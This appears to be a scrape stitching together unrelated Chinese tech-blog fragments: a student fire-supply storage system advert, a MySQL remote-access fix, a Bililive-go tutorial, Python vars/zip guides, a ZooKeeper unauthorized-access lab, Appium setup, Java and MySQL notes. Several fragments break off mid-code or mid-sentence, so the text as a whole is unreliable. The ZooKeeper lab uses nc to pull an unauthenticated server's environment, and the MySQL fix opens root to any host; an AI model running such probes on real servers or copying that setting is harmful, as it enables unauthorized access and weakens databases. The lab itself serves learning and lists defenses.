消防物资存储系统
目录
基于SSM+vue的消防物资存储系统的设计与实现
一、前言
二、系统设计
三、系统功能设计 1用户功能模块
2 管理员功能模块
四、数据库设计
五、核心代码 六、论文参考
七、最新计算机毕设选题推荐
八、源码获取:
博主介绍:✌️大厂码农|毕设布道师,阿里云开发社区乘风者计划专家博主,CSDN平台Java领域优质创作者,专注于大学生项目实战开发、讲解和毕业答疑辅导。✌️
主要项目:小程序、SpringBoot、SSM、Vue、Html、Jsp、Nodejs等设计与开发。
🍅文末获取源码联系🍅
基于SSM+vue的消防物资存储系统的设计与实现 一、前言 消防物资存储系统能够通过互联网得到广泛的、全面的宣传,让尽可能多的用户了解和熟知消防物资存储系统的便捷高效,不仅为群众提供了服务,而且也推广了自己,让更多的群众了解自己。对于消防物资存储而言,若拥有自己的系统,通过系统得到更好的管理,同时提升了形象。
本系统设计的现状和趋势,从需求、结构、数据库等方面的设计到系统的实现,分别为管理员和用户的实现。论文的内容从系统的设计、描述、实现、分析、测试方面来表明开发的过程。本系统根据现实情况来选择一种可行的开发方案,借助java编程语言和MySQL数据库等实现系统的全部功能,接下来对系统进行测试,测试系统是否有漏洞和测试用户权限来完善系统,最终系统完成达到相关标准。
关键字:消防物资存储;java;MySQL数据库
二、系统设计 系统功能结构如图
三、系统功能设计 系统登录,管理员和用户进入系统前在登录页面根据要求填写账号,密码,验证码和选择角色等信息,点击登录进行登录操作,如图5-1所示。
图5-1系统登录界面图
1用户功能模块 用户登陆系统后,可以查看首页,个人中心,仓库管理,物资入库管理,物资出库管理,仓库管理,物资详情管理,报警通知管理,安全检查提醒管理等功能,还能对每个功能逐一进行相应操作,如图5-2所示。
图5-2用户功能界面图
2 管理员功能模块 管理员用户登陆系统,可以查看首页,个人中心,用户管理,仓库管理,物资入库管理,物资出库管理,仓库管理,物资详情管理,报警通知管理,安全检查提醒管理等功能,还能对每个功能逐一进行相应操作,如图5-10所示。
图5-10管理员功能界面图
仓库管理,在仓库管理页面可以对索引,仓库名称,仓库类型,物资编号,物资名称,数量,图片等内容进行详情,物资入库,物资出库,修改和删除等操作,如图5-11所示。
图5-11仓库管理界面图
四、数据库设计 (1)仓库管理E/R图如下所示:
图4-2仓库管理E/R图
数据库表的设计,如下表:
表4-1:用户表
字段名称
类型
长度
字段说明
主键
默认值
id
bigint
主键
主键
username
varchar
100
用户名
password
varchar
100
密码
role
varchar
100
角色
管理员
addtime
timestamp
新增时间
CURRENT_TIMESTAMP
五、核心代码 package com.
目录 一、异常错误二、原因三、解决方法 一、异常错误 通过远程客户端访问MySQL服务器时会遇到“Host is not allowed to connect to this MySQL server”的错误提示。
二、原因 MySQL服务器当前配置不允许来自特定主机的连接尝试。
三、解决方法 允许远程主机访问MySQL服务器,按照以下步骤操作:
登录本地MySQL服务器: 以管理员身份登录到MySQL服务器,输入MySQL root用户的密码:
mysql -u root -p 选择MySQL数据库: 登录成功后,切换到MySQL系统数据库:
use mysql; 更新用户权限: 修改root用户的host字段(或其他需要远程访问的用户),允许任意远程主机(用 ‘%’ 表示)进行连接,但这一步可能涉及到安全风险,建议只针对需要远程访问的特定用户设置具体的远程IP地址,而不是使用通配符 % 开启所有远程访问:
update user set host = '%' where user = 'root'; 刷新权限: flush privileges; 防火墙设置: 确保服务器的防火墙规则允许MySQL服务端口(默认为3306)上的入站流量。
MySQL配置文件: 检查MySQL服务器的配置文件(如 my.cnf 或 my.ini),确保没有禁止远程连接的相关设置, bind-address 参数通常需要设置为 0.0.0.0 或者指定的公网IP地址以接受远程连接。
验证远程连接: 从远程客户端尝试重新连接到MySQL服务器,确认问题是否已解决。
🌈个人主页: Aileen_0v0
🔥热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法
💫个人格言:“没有罗马,那就自己创造罗马~”
文章目录 1. Bililive-go与套件下载1.1 获取ffmpeg1.2 获取Bililive-go1.3 配置套件 2. 本地运行测试3. 录屏设置演示4. 内网穿透工具下载安装5. 配置Bililive-go公网地址6. 配置固定公网地址 本文主要介绍如何在Windows系统电脑本地部署直播录屏利器Bililive-go,并结合cpolar内网穿透工具实现远程访问本地Bililive-go服务web界面进行录屏任务管理。 相信很多小伙伴都喜欢看直播,不过如果一旦临时有事看不了直播,可能一般只能在第二天去网上找录屏组的直播录像。但如果找不到,那就很遗憾了。于是,今天就和大家分享一款可以在Windows、MacOS、Linux等多个系统进行部署的开源录屏服务Bililive-go。
虽然它的名字可能和B站有点像,但Bililive-go支持对B站、抖音、斗鱼、虎牙、快手等多个平台的直播进行录制。大家只需要简单几步操作就能在本地部署服务,在浏览器web管理界面添加直播间地址即可进行录屏。
本篇教程以在Windows10系统部署进行展示,如果大家有在其他系统部署的需求,也可以访问它的官方GitHub进行了解。
https://github.com/hr3lxphr6j/bililive-go
1. Bililive-go与套件下载 首先,我们需要下载Windows对应的Bililive-go应用程序:
https://github.com/hr3lxphr6j/bililive-go/releases/tag/v0.7.25
然后,为了能正常使用Bililive-go,需要再下载FFmpeg Builds套件:
https://www.gyan.dev/ffmpeg/builds/#release-builds
如果上边的链接访问不了,也可以访问下方的网盘链接获取:
https://pan.baidu.com/s/19h_bJHT7ViXep8fM2LJoPw?pwd=6666
1.1 获取ffmpeg 从FFmpeg Builds下载压缩包,将其中bin/ffmpeg.exe解压出来备用。
1.2 获取Bililive-go 将下载好的bililive-windows-amd64.zip解压,得到应用程序与config文档。
1.3 配置套件 然后将ffmpeg.exe复制到和bililive-go同一目录下:
2. 本地运行测试 双击 bililive-windows-amd64.exe 执行将使用和 exe 文件在同一目录下的 config.yml 文件作为默认配置文件启动程序。
大家也可以执行:
./bililive-windows-amd64 -c ./config.yml 使用指定的配置文件来启动。
服务启动后,在本地打开浏览器输入本机IP加上8080端口,即可进入Bililive-go录屏神器的web管理界面:
PS:本机IP地址获取方式:Win键+R键弹出运行指令框,输入cmd进入终端,输入ipconfig,此处的ipv4地址即是本机ip地址。
3. 录屏设置演示 我们进入Bililive-go录屏神器的web管理界面后,会看到直播间列表中有两个自带的直播间的信息,可以点击操作下方的删除按钮删掉。
添加房间
点击添加房间:
然后,在弹出的输入框中粘贴想要录屏的直播间url地址即可添加该直播间到列表,一旦直播开始,它会自动录制视频,记录整个直播过程。
点击停止监控可以结束录屏,停止后点击开启录屏则可以继续录屏,需要注意的是再次录屏会在当前主播录屏输出文件夹中生成一个新视频文件,不是和结束前的视频合并为一个视频文件:
点击文件可以查看录制的视频文件信息:
在文件页面可以看到录屏的视频文件保存路径,文件大小,最后修改时间等信息。
点击视频文件名,即可直接在浏览器观看录屏视频:
也可以找到输出文件路径中的文件夹,在生成的各直播平台输出文件夹中手动查看视频并选择播放器进行观看:
PS:这个视频输出路径默认保存在Bililive-go服务的目录下,如果想修改可以在config文档中进行修改。
目录
一、vars函数的常见应用场景
二、vars函数使用注意事项
三、如何用好vars函数?
1、vars函数:
1-1、Python:
1-2、VBA:
2、推荐阅读:
个人主页:https://myelsa1024.blog.csdn.net/
一、vars函数的常见应用场景 vars函数在Python中有多个实际应用场景,它主要用于查看和访问对象的属性(即对象的 `__dict__` 属性),其常见的应用场景有:
1、动态设置和获取属性:当你不确定对象的所有属性,或者需要动态地设置和获取属性时,vars()函数非常有用,你可以用它来遍历对象的所有属性,或者根据某些条件动态地设置属性。
2、动态类创建:结合type()函数和vars()函数,你可以动态地创建类并设置其属性,这在需要基于用户输入或其他条件创建类时非常有用。
3、配置管理:如果你有一个复杂的对象或系统,其配置由多个属性组成,你可以使用vars()函数来管理这些配置。例如,你可以将配置存储在一个字典中,并使用vars()函数将该字典应用于对象,从而一次性设置多个属性。
4、序列化和反序列化:虽然vars()函数本身不是用于序列化和反序列化的最佳工具,但它可以作为一个起点,你可以使用vars()函数获取对象的属性字典,然后将其序列化为JSON或其他格式;同样地,你也可以将序列化的数据反序列化为字典,并使用vars()函数或setattr()函数将其应用于对象。
5、对象间属性复制:如果你有两个对象,并且希望将一个对象的属性复制到另一个对象,你可以使用vars()函数来获取源对象的属性字典,并将其复制到目标对象,这在使用具有相似属性结构的对象时非常有用。
6、自定义属性访问控制:通过重写类的`__getattr__()`和`__setattr__()`方法,并结合vars()函数,你可以实现自定义的属性访问控制。例如,你可以在属性被访问或设置时执行一些额外的逻辑,如验证、转换或记录。
7、调试和诊断:在调试和诊断复杂系统时,vars()函数可以帮助你查看对象的当前状态,通过打印vars(obj)的结果,你可以快速了解对象的所有属性及其值,从而更容易地定位问题所在。
8、编写灵活的函数和方法:有时你可能希望编写一个函数或方法,它能够处理具有不同属性的对象。使用vars()函数,你可以编写一个函数,该函数接受一个对象作为参数,并基于该对象的属性来执行不同的操作。
9、反射和元编程:元编程是指编写操作代码的代码,vars()函数可以用于动态地检查和修改代码中的对象,这在创建框架、ORM(对象关系映射)库或其他需要动态行为的库中非常有用。
10、框架和库的内部实现:一些 Python 框架和库在其内部实现中可能会使用vars()函数来操作对象的属性。例如,ORM(对象关系映射)库可能会使用vars()函数来获取对象的属性,并将其转换为数据库查询的参数。
11、数据分析和可视化:在数据分析和可视化中,你可能需要提取对象的属性以进行进一步的处理或展示,vars()函数可以方便地获取这些属性,并将其用于各种分析和可视化工具中。
注意,虽然vars()函数在许多情况下都很有用,但它并不是访问或修改对象属性的唯一方法。在大多数情况下,你应该优先考虑使用点记法(`.`)来直接访问和修改对象的属性;只有在需要动态访问或修改属性时,才考虑使用vars()函数。
二、vars函数使用注意事项 在Python中,vars()函数是一个内置函数,用于返回指定对象的`__dict__`属性。如果未指定对象,则vars()函数返回当前本地符号表的字典。然而,在使用vars()函数时,请注意以下事项:
1、对象类型:不是所有对象都有`__dict__`属性。例如,一些内置类型(如整数、浮点数、字符串等)和某些特殊对象(如类、模块等)可能没有`__dict__`属性,对于这些对象,vars()函数可能无法正常工作或返回预期的结果。
2、可变性:通过vars()函数获得的字典是可变的,但这并不意味着你可以随意修改它,修改这个字典可能会改变对象的内部状态,但也可能导致意外的副作用或错误,特别是,如果你修改了类的`__dict__`,可能会影响该类及其所有实例的行为。
3、局部与全局变量:在函数内部使用vars()时,它返回的是当前函数的局部符号表的字典,而不是全局符号表,如果你需要访问全局变量,可以使用globals()函数。
4、线程安全:在多线程环境中,直接修改由vars()函数或globals()函数返回的字典可能不是线程安全的,这是因为多个线程可能同时访问和修改这些字典,导致数据竞争和不一致的结果,如果你需要在多线程环境中共享状态,建议使用其他同步机制(如锁)来保护对这些字典的访问。
5、性能考虑:虽然vars()函数和globals()函数在大多数情况下都很快,但在性能敏感的代码中频繁使用它们可能会引入不必要的开销,这是因为这些函数需要遍历并复制符号表的内容来创建一个新的字典对象。
6、可读性和可维护性:过度使用vars()函数或globals()函数可能会降低代码的可读性和可维护性,这些函数使得变量和状态的管理变得不那么明确和直观,可能导致其他开发人员难以理解和维护你的代码,因此,在可能的情况下,最好使用显式的变量和参数来传递和管理状态。
7、替代方案:在许多情况下,你可以使用其他方法来访问或修改对象的属性,而无需使用vars()函数。例如,你可以使用getattr()函数和setattr()函数来动态地获取和设置对象的属性,或者使用类的 `__init__()` 方法来初始化对象的状态,这些替代方案通常更加清晰、直观和易于维护。
三、如何用好vars函数? vars()函数在Python中主要用于查看或操作对象的`__dict__`属性,即对象的命名空间。为了有效地使用vars()函数,你需遵循以下建议:
1、了解其作用域:vars()函数在模块级别调用时返回模块的`__dict__`属性,而在函数内部调用时返回当前局部命名空间的字典,要理解vars()函数返回的内容,你需要知道它是在哪个作用域内被调用的。
2、谨慎修改返回的字典:虽然vars()函数返回的字典是可变的,但修改它可能会带来不可预期的结果。特别是,在函数内部修改由vars()返回的局部命名空间可能会破坏函数的正常工作;在类实例上修改vars()返回的字典可能会改变实例的状态,但应当小心不要破坏类的封装性。
3、使用vars()查看对象属性:如果你想要查看对象的所有属性(包括从基类继承的属性),可以使用vars()函数,这在调试或理解对象状态时非常有用。
4、避免在性能敏感的代码中使用:虽然vars()函数通常很快,但在需要高性能的代码中,频繁调用它可能会成为瓶颈,在这种情况下,考虑使用其他方法来访问对象的属性。
5、使用替代方法:如果可能,最好使用更明确和直接的方法来访问和修改对象的属性。例如,使用点记法(`object.attribute`)或getattr()函数和setattr()函数。
6、在类定义中使用vars()函数:在类定义中,你可以在`__init__()`方法或其他方法中使用vars()来初始化对象的属性,但这通常不是最佳实践,更常见的是直接在`__init__()`方法中定义和初始化属性,但是,如果你需要从字典或其他类似的数据结构中动态地设置对象的属性,vars()函数可能会很有用。
7、结合locals()和globals()使用:locals()函数和globals()函数分别返回当前局部命名空间和全局命名空间的字典,这些函数可以与vars()函数结合使用,以在更广泛的作用域中操作变量。
8、注意vars()函数的返回值:vars()函数返回的是对象的`__dict__`属性的一个浅拷贝,这意味着如果你修改了返回的字典中的嵌套对象(如列表或字典),这些修改将反映在原始对象的`__dict__`属性中,但是,如果你替换返回的字典中的整个嵌套对象,原始对象的`__dict__`属性将不会受到影响。
9、文档和注释:当你使用vars()函数或其他可能导致代码难以理解的技巧时,确保你的代码有充分的文档和注释,以便其他开发人员能够理解和维护你的代码。
1、vars函数: 1-1、Python: # 1.函数:vars # 2.功能: # 2-1、无实参:用于返回当前本地作用域中的属性和属性值的字典对象 # 2-2、有实参:用于返回对象object的属性和属性值的字典对象 # 3.语法:vars([object]) # 4.参数:object,可选参数,表示对象 # 5.返回值: # 5-1、无实参:返回当前本地作用域中的属性和属性值的字典对象 # 5-2、有实参:返回该对象object的属性和属性值的字典对象 # 6.
目录
一、zip函数的常见应用场景
二、zip函数使用注意事项
三、如何用好zip函数?
1、zip函数:
1-1、Python:
1-2、VBA:
2、推荐阅读:
个人主页:https://myelsa1024.blog.csdn.net/
一、zip函数的常见应用场景 zip函数在Python中有许多实用的应用场景,尤其是在处理多个列表或可迭代对象时,它提供了一种简洁而强大的方式来组合这些对象的元素,其常见的应用场景有:
1、并行迭代:当你有两个或多个列表,并且你想同时迭代它们时,zip()函数非常有用。例如,你可能有两个列表,一个包含名字,另一个包含对应的年龄,你想同时处理这两个列表中的元素。
2、字典键值对解包:在Python 3中,zip()函数经常与`*`操作符一起使用,用于字典的键值对解包,这在你需要交换字典的键和值时特别有用。
3、处理不等长的迭代器:当使用zip()函数迭代多个不等长的迭代器时,输出将仅在最短的迭代器耗尽时结束,这可以用于处理具有缺失数据的情况。
4、创建字典:你可以使用zip()函数和dict()函数来创建一个字典,其中一个列表包含键,另一个列表包含值。
5、与其他函数结合使用:zip()函数可以与Python中的其他函数(如map()、filter()、sorted()等)结合使用,以执行更复杂的操作。
6、数据预处理和转换:在数据分析和机器学习项目中,zip()函数可以用于同时处理多个特征列(例如,缩放或归一化多个特征)。
7、文件操作:在处理多个相关文件(如具有相同索引的数据和标签文件)时,zip()函数可以帮助你将它们的内容配对起来。
8、生成器表达式:你可以将zip()函数与生成器表达式结合使用,以创建更复杂的迭代器,而无需在内存中存储所有结果。
9、代码简化:在需要同时迭代多个可迭代对象的情况下,使用zip()函数可以使代码更简洁、更易读。
二、zip函数使用注意事项 在Python中使用zip()函数时,请注意以下事项:
1、返回迭代器:zip()函数返回的是一个迭代器,而不是一个列表,这意味着你只能遍历一次它的结果,除非你将其转换为列表、元组或其他可迭代对象。
2、不等长迭代器的处理:如果zip()函数中的可迭代对象长度不等,那么zip()函数将在最短的可迭代对象耗尽时停止,这可能会导致一些意料之外的行为,特别是当你期望所有迭代器的元素都被处理时。
3、与`*`运算符的结合使用:虽然zip()函数可以与`*`运算符结合使用来解包参数,但这通常不是zip()函数的常见用法,更常见的用法是使用`*`运算符与zip()函数的结果一起,将多个可迭代对象的元素作为单独的位置参数传递给函数。
4、修改元组内的值:由于zip()函数返回的是包含元组的迭代器或列表(如果你将其转换为列表),而元组是不可变的,因此你不能直接修改元组内的值,如果你需要修改元素,可以考虑将元组转换为列表。
5、内存使用:虽然zip()函数本身不会消耗大量内存(因为它是一个迭代器),但如果你将zip()函数的结果转换为列表,并且处理的数据集非常大,那么可能会消耗大量内存,在这种情况下,考虑使用其他方法来处理数据,如逐元素处理或使用生成器表达式。
6、Python版本差异:在Python 2中,zip()函数返回的是一个列表;但在Python 3中,它返回的是一个迭代器,这是Python 2和Python 3之间的一个重要区别,需要注意。
三、如何用好zip函数? zip()函数在Python中是一个非常有用的内置函数,它允许你将多个可迭代对象(如列表、元组、字符串等)的元素打包成一个个元组,然后返回由这些元组组成的对象。为了用好zip()函数,请遵循以下建议:
1、并行迭代:当你需要同时迭代多个可迭代对象时,zip()函数非常有用,它允许你同时处理这些对象的元素。
2、处理不等长可迭代对象:默认情况下,zip()函数会在最短的可迭代对象耗尽时停止,如果你想要处理不等长的迭代器,并且希望保持较长的迭代器中剩余的元素,可以使用itertools.zip_longest()(在Python 2中是itertools.izip_longest())。
3、解压(Unzip):你可以使用zip(*...)来解压一个由元组组成的列表,或者任何形式的可迭代对象,只要它包含相同数量的元素。
4、与列表推导式结合使用:你可以将zip()与列表推导式结合使用,以创建新的数据结构或过滤数据。
5、作为字典的键和值:你可以使用zip()函数来创建一个字典,其中可迭代对象的元素作为键,另一个可迭代对象的元素作为值。
6、注意内存使用:当你处理大型数据集时,将zip()函数的结果转换为列表可能会消耗大量内存,在这种情况下,考虑使用迭代器直接处理数据,或者使用生成器表达式。
7、保持代码清晰:使用zip()函数时,确保你的代码易于阅读和理解,如果可能的话,为变量使用有意义的名称,并在必要时添加注释。
8、检查输入:在使用zip()函数之前,确保你的输入是可迭代的,并且长度是预期的,这有助于避免在运行时出现错误。
9、与map()函数结合使用:虽然zip()和map()在功能上有所不同,但你可以将它们结合使用来处理多个可迭代对象的元素。例如,你可以使用map()函数对每个元组应用一个函数。
1、zip函数: 1-1、Python: # 1.函数:zip # 2.功能: # 2-1、无实参:用于创建空的迭代器 # 2-2、有实参:用于将可迭代对象打包成元组 # 3.语法:zip([*iterables, strict=False]) # 4.参数: # 4-1、*iterables(可选):一个位置参数,表示任意数量的可迭代对象,如列表、字典、元组、字符串等,zip()函数允许多个可迭代对象作为参数 # 4-2、strict(可选):迭代停止条件,默认为False,即作为迭代器对象的长度可以不一样;若设置为True,则要求所有的迭代器对象必须等长 # 5.返回值: # 5-1、无实参:返回空的迭代器 # 5-2、有实参:返回一个可迭代的zip对象,其内部元素为元组 # 6.
目录
1、漏洞原理
2、环境搭建
3、未授权访问
防御手段
今天继续学习各种未授权访问的知识和相关的实操实验,一共有好多篇,内容主要是参考先知社区的一位大佬的关于未授权访问的好文章,还有其他大佬总结好的文章:
这里附上大佬的好文章链接:常见未授权访问漏洞总结 - 先知社区
我在这只是学习大佬总结好的相关的知识和实操实验,那么废话不多说,开整。
第八篇是关于ZooKeeper的未授权访问
1、漏洞原理 zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。
Zookeeper的默认开放端口是2181。
Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。
攻击者能够执行所有只允许由管理员运行的命令。
2、环境搭建 #搭建环境 wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz tar -xzvf zookeeper-3.4.14.tar.gz cd zookeeper-3.4.14/conf mv zoo_sample.cfg zoo.cfg ../bin/zkServer.sh start # 启动 启动Zookeeper
3、未授权访问 #获取该服务器的环境 echo envi|nc 192.168.159.202 2181 可以看到成功的访问到了
利用zookeeper可视化管理工具进行连接
下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
可以看到成功的连接了
防御手段 修改 ZooKeeper 默认端口,采用其他端口服务。-添加访问控制,配置服务来源地址限制策略。-增加 ZooKeeper 的认证配置。 到此Zookeeper未授权访问漏洞的基础知识就学习完了,后面还有很多的别未授权访问的知识等着我去学习,我们后面见(*^▽^*)
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
需要这份系统化的资料的朋友,可以戳这里获取
+ [3.4 使用Inspector调试,步骤](#34_Inspector_218) 1、Appium简介 1.1 Appium概念 Appium是一个开源的移动端自动化测试工具,适用于移动端原生APP、移动Web APP或混合APP的自动化测试;
Appium继承了Selenium(Web端自动化测试工具),应用WebDriver(JSON wire protocol)技术,借助操作系统自带的测试框架来驱动Android和IOS应用。
特点:Appium是一个开源、跨平台、多语言支持、接口统一,适用于原生app、Web app或混合移动app的自动化测试工具;理念:旨在满足移动端自动化测试需求;架构:C/S (C客户端:测试脚本,S服务端:Appium);多语言支持:语言库包含Java、Ruby、Python、php、JavaScript、C#、RobotFramework;开源:主要依赖selenium提供的WebDriver技术;跨平台:支持Linux/IOS mac/Windows平台,适用于Android/IOS应用测试; 术语定义Appium一般说的是命令行操作的无界面的Web服务器Appium GUI/Appium Desktop有图形界面:2015年之前命名为Appium Server,之后命名为Appium desktop,包含server和inspector工具Appium Client客户端程式(测试脚本) 1.2 Appium工作原理 Appium基于web Driver协议,利用Bootstrap.jar,最后调用UIAutomator命令实现APP自动化测试。
工作原理:测试代码发送给appium server,server解析指令后调用平台的SDK(IOS:instruments;Android:uiautomator),通过SDK连接设备,并向设备发送指令和接收设备返回的数据。执行的测试脚本会转成JSON数据,通过http请求发送给Appium server,Appium server将请求转换成command,发送给平台工具SDK(IOS:instruments; Android:uiautomator) ;在设备上查找Appium推送上来的bootstrap.jar(bootstrap.jar是Appium架构放在手机端的一个服务器)来执行这些命令,执行完成后,客户端将结果和log发送回Appium server。
Bootstrap.jar监听4724端口并接收appium命令,最终通过调用UiAutomator的命令来实现,它是Appium运行在目标测试机器上的一个Uiautomator测试脚本。
2、Appium Server环境搭建 安装工具列表:
① Java JDK
② Android SDK 安装完成连接手机就可以查看当前页面布局
③ Appium 安装后,不仅可以访问布局,也可以操作
2.1 Java JDK 2.1.1 下载JDK (推荐最稳定的JDK版本1.8.x) 官网下载网址
2.1.2 运行exe安装JDK,设置安装路径 注意:红色标记的是JDK安装路径,后面配置环境变量时需要用到。
2.1.3 设置环境变量 2.1.4 验证安装结果 2.2 Android SDK 2.2.1 下载安装Android SDK安装包 (本文使用installer_r24.
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以戳这里获取
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
2.安装 OpenAI 包:
!pip install openai -q 第2步:导入库 在你的笔记本中,导入必要的库:
从openai导入 OpenAI 第3步:OpenAI认证 获取你的 OpenAI API 密钥并进行身份验证,如下所示:
openai.api_key = 'your-api-key' client = OpenAI(api_key=openai.api_key) 第4步:定义测试用例生成函数 定义一个函数来根据软件需求生成测试用例。
def generate_test_cases(requirement): response = client.chat.completions.create( model="gpt-3.5-turbo", messages=[ {"role": "system", "content": "You are a helpful assistant capable of generating software test cases."}, {"role": "user", "content": requirement} ] ) return response.choices[0].message.content 第5步:测试功能
使用示例需求测试该功能:
requirement = "The system shall allow users to securely login with a username and password.
哈喽,各位小伙伴们,你们好呀,我是喵手。运营社区:C站/掘金/腾讯云;欢迎大家常来逛逛
今天我要给大家分享一些自己日常学习到的一些知识点,并以文字的形式跟大家一起交流,互相学习,一个人虽可以走的更快,但一群人可以走的更远。
我是一名后端开发爱好者,工作日常接触到最多的就是Java语言啦,所以我都尽量抽业余时间把自己所学到所会的,通过文章的形式进行输出,希望以这种方式帮助到更多的初学者或者想入门的小伙伴们,同时也能对自己的技术进行沉淀,加以复盘,查缺补漏。
小伙伴们在批阅的过程中,如果觉得文章不错,欢迎点赞、收藏、关注哦。三连即是对作者我写作道路上最好的鼓励与支持!
前言 在Java中,Map是一种常见的数据结构,它可以用来存储键值对。TreeMap是Java中的一个特殊的Map实现,它是基于红黑树实现的,具有排序和查找的功能。在本文中,我们将详细介绍TreeMap的使用和原理。
摘要 本文主要介绍了Java中的TreeMap数据结构,包括其源代码解析、应用场景案例、优缺点分析、类代码方法介绍、测试用例和全文小结。通过对TreeMap的学习,读者可以了解到TreeMap的特点和使用方法,以及它与其他Map实现的不同之处。
TreeMap 简介 TreeMap是Java中的一个SortedMap实现,它继承了AbstractMap类并实现了NavigableMap接口。TreeMap中的键值对是按照键的自然顺序或者指定的比较器顺序进行排序的。因此,TreeMap具有查找和排序的功能。它是基于红黑树实现的,红黑树是一种自平衡的二叉查找树,它保证了所有操作的时间复杂度为O(log n)。
源代码解析 TreeMap的源代码比较复杂,其中包含了对红黑树的实现。在这里,我们只介绍TreeMap中的一些重要的方法。
put方法 public V put(K key, V value) { Entry<K,V> t = root; if (t == null) { compare(key, key); // type (and possibly null) check root = new Entry<>(key, value, null); size = 1; modCount++; return null; } int cmp; Entry<K,V> parent; // split comparator and comparable paths Comparator<? super K> cpr = comparator; if (cpr !
一.索引 1.B树,B+树,以及两者的区别
B树是一种多路平衡查找树,其每一个节点都存储Key和data
B+树是B树的一个变种,叶子节点存储data,非叶子节点只存储key,B+树的叶子节点增加了顺序访问指针,每一个叶子节点都可以访问到他的下一个叶子节点
区别:
1.B+树种只有叶子节点会带有全部信息,非叶子节点只起到索引的作用,二B树的所有节点都带有全部信息,B+树的每一层节点都会再次出现在下一层节点上
2.B+树种所有叶子节点都是通过指针连在一起,B树则没有
2.索引的优点和缺点
优点:可以加大检索速度
缺点:创建和维护索引需要耗费时间
3.Mysql为什么选择B+树
Mysql数据本质上是放在外部存储的,B+树是为了加快读取速度二设计的一种数据结构
1.可以减少i/o次数,只有叶子节点才存储数据,非叶子节点存储索引,这样一次读取到内存的关键字增多,相对i/o次数也就减少(根据区别一)
2.能够提供稳定高效的范围扫描,因为所有的叶子节点都互相连接(根据区别二)
4.索引越多越好吗?
索引可以提高select的效率,但是也降低了insert和updata的效率,因为插入和更新的时候可能会重建索引,索引怎么建索引要慎重考虑。
5.索引分类
1.B+树索引:以b+树作为数据结构的索引
2.hash索引:能以O(1)的时间复杂度查找,但失去了有序性,innodb有一个自适应哈希索引,当这个索引值被频繁使用时会在b+树上创建一个哈希索引
3.全文索引:用于查找文本的关键词,中文需要由中文分词插件
二. MySQL优化 一.MySQL的优化,主要分为索引的的优化,sql语句的优化,表的优化。同时可以使用缓存增加效率
1.索引的优化
只要列中含有null,最好不要再此列设置索引
对于经常在where语句中使用的列,最好设置一个索引
对于like语句,以%或者-开头的不会使用索引,以%结尾会使用索引
二.sql语句的优化
查询优化要尽量避免全表扫描
查询时能不用*就不用*,尽量写字段名
三. MySQL常问问题 1.数据库如何应对大规模的写入和读取
(1)使用NoSQL,通过降低数据的安全性,减少对事物的支持,减少复杂查询的支持来获取性能的提升;但有些场合NoSQL无法满足要求
(2)分库分表:
水平切分:不修改数据库的表结构,通过对表中的数据拆分而达到分片的目的,一般水平切分在查询的时候可能会用到union操作(多个结果并)
可以根据hash或者日期来进行分表
垂直切分:修改表结构,按照访问的差异将某些列拆分出去,一般查询数据的时候可能会用到join操作;把常用的字段放在一个表中,不常用的放在一个表中;把字段比较大的比如text字段拆出来放在一个表中。
分库:分表能够解决数据量过大带来的查询效率下降问题,但是却无法给数据库的并发处理能力带来质的提升;分库可以对关键字取模的方式来对数据访问进行路由;
(3)读写分离:
读写分离是在主服务器上修改数据,数据也会同步到从服务器上,从服务器只能提供读取,不能写入,实现备份的同时也实现了数据库的性能优化
如何保证数据一致性:
(1)主节点
保证事务每次提交之后,要确保binlog都能刷新到磁盘中,只要有了binlog,innoDB就有方法恢复数据,不至于导致主从复制的数据丢失
(2)从节点
开启 relay log 自动修复机制,发生 crash 时,会自动判断哪些 relay log 需要重新从master 上抓取回来再次应用,以此避免部分数据丢失的可能性。
2.数据库事务及其隔离级别
事务的特性:ACID
事务在并发的时候,隔离性很难保证主要可能出现下面这些问题:
脏读:一个事务读了另外一个事务未提交的数据,如果另一个事务回滚则会发生脏读
不可重复读:一个事务前后读取同一行数据,如果在这个过程中有其他事务修改了此数据则会发生不可重复读
幻读:一个事务前后读取范围的时候
事务隔离级别:
MySQL实现事务是基于undo/redo日志实现的:
undo日志记录修改前的状态,ROLLBACK基于UNDO日志实现;
REDO日志记录修改后的状态,事务的持久性基于REDO日志实现
两种解决脏读、不可重复读、幻读的方案:
MVCC(性能较高,但读的可能是历史版本)
1.版本链:对于每一行的数据,在undo日志中,总会记录每个版本记录以及对应的事务id,
2.readView:
引言 在选择 Java 开发工具包 (JDK) 时,很多开发者可能会困惑于 Oracle JDK 和 OpenJDK 之间的差异。本文将详细分析这两者的区别,帮助大家做出更明智的选择。
背景 2006 年,SUN 公司宣布 Java 开源,推出了 OpenJDK。2009 年,Oracle 收购了 SUN 公司,并基于 OpenJDK 开发了 Oracle JDK。Oracle JDK 虽然基于 OpenJDK,但并不完全开源,早期版本(Java 8 ~ Java 11)还包含了一些额外的功能和工具。
核心区别 1. 开源与非开源 OpenJDK 是一个完全开源的项目,遵循 GPL v2 许可。任何人都可以下载、使用、修改和分发它的代码。开源的好处在于透明度高,社区贡献活跃。阿里巴巴基于 OpenJDK 开发了 Dragonwell8,以满足他们的特定需求。
Oracle JDK 则基于 OpenJDK 构建,但包含一些闭源组件,如 Java 插件、Java WebStart 的实现和一些第三方组件。这些组件包括了一些商业功能,未开源。
java
// 示例:使用 OpenJDK 编译并运行一个简单的 Java 程序 public class HelloWorld { public static void main(String[] args) { System.
今天OpenAI发布了gpt-4o,我体验之后,gpt-4o简直逆天了。中文能力也挺别强。速度比现在的gpt4还要快。
